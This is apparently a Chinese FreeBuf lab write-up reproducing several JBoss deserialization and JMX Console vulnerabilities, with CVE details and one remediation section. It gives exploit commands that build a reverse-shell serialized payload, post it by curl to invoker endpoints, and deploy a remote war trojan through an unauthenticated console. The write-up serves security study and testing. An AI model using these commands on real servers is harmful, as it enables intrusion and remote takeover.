freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JBoss中间件漏洞复现
Pupa 2021-05-07 01:42:36 452714

JBoss简介:

JBoss是一个基于J2EE的开发源代码的应用服务器。是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

默认端口:

8080、9990

设置外网访问:

修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml配置:
image-20210506131659899.png
重启JBoss即可。

JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)

影响范围:
JBoss 5.x/6.x

1)验证是否存在漏洞

访问/invoker/readonly:

image-20210506132410851.png

返回500,说明此页面存在该漏洞。

2)配置javac环境

cd /opt 

curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz 

tar zxvf jdk-8u20-linux-x64.tar.gz 

rm -rf /usr/bin/java* 

ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin 

javac -version 

java -version

image-20210506173918221.png

3)漏洞利用

工具:JavaDeserH2HC

(1)生成ReverseShellCommonsCollectionsHashMap.class

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

image-20210506181129198.png

(2)生成ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar   ReverseShellCommonsCollectionsHashMap 192.168.109.9:8888(ip是nc所在的ip)

image-20210506181222701.png

(3)利用ReverseShellCommonsCollectionsHashMap.ser:

curl http://192.168.109.150:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210506181737164.png
image-20210506181808706.png

成功反弹shell。

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

漏洞简介:
由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化。

漏洞影响:

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

1)验证漏洞是否存在

访问 /invoker/JMXInvokerServlet

image-20210506183202515.png

返回如上,说明接口开放,存在该漏洞。

2)漏洞利用

这里利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet接口中。

curl http://192.168.109.150:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210506184441857.pngimage-20210506184517587.png

成功反弹shell。

3)修复建议

(1)删掉http-invoker.sar组件。路径为C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404。

(2)添加代码C:\jboss6.1.0.Final\server\default\deploy\httpinvoker.sar\invoker.war\WEB-INF下web.xml的security-constraint标签中,对http-invoker组件进行访问控制。

<url-pattern>/*</url-pattern>
JBossMQ JMS反序列化(CVE-2017-7504)

漏洞简介:
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞。

影响范围:
含JBoss 4.x之前所有版本。

复现环境:
JBoss 4.2.3

1)验证漏洞

访问 /jbossmq-httpil/HTTPServerILServlet

image-20210506233726546.png

返回此页面即存在漏洞。

2)漏洞利用

这里利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中:

curl http://192.168.109.7:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210507001841325.pngimage-20210507001819636.png

成功反弹shell。

JBoss EJBInvokerServle反序列化漏洞(CVE-2013-4810)

访问 /invoker/EJBInvokerServlet,能返回结果即可利用。

与CVE-2015-7501漏洞原理相同。区别在于JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化上传构造的文件。

低版本JMX Console未授权访问

**漏洞简介:**JBoss管理控制台的访问控制不严格导致的漏洞。

**影响版本:**JBoss 4.x及其之前版本。

**复现环境:**JBoss 4.2.3

2)未授权访问

image-20210507004403105.png

找到 jboss.deployment

image-20210507004503329.png

进入页面后找到 void addURL()
image-20210507004658168.png

3)搭建远程部署

image-20210507010229978.png

python -m SimpleHTTPServer 8001

4)上传部署

image-20210507010402927.png

4)检查部署情况

image-20210507010605543.png

点击Apply Changes后,回到JMX-Console目录找到 jboss.web.deployment查看是否存在上传部署的war木马。

高版本JMX Console未授权访问

利用和低版本JMX Console未授权访问相同。

点击JMX Console,进入页面后点击jboss.system链接,进入页面后点击service=MainDeployer,进入页面后找到methodIndex为17或19的deploy填写远程war地址进行远程部署。

# 学习笔记 # 中间件
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Pupa 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
服务攻防-学习笔记
Pupa LV.4
这家伙太懒了,还未填写个人描述!
  • 15 文章数
  • 50 关注者
TheNotebook | hackthebox writeup
2021-08-06
Weblogic中间件漏洞复现笔记
2021-06-17
Fastjson漏洞复现笔记
2021-06-09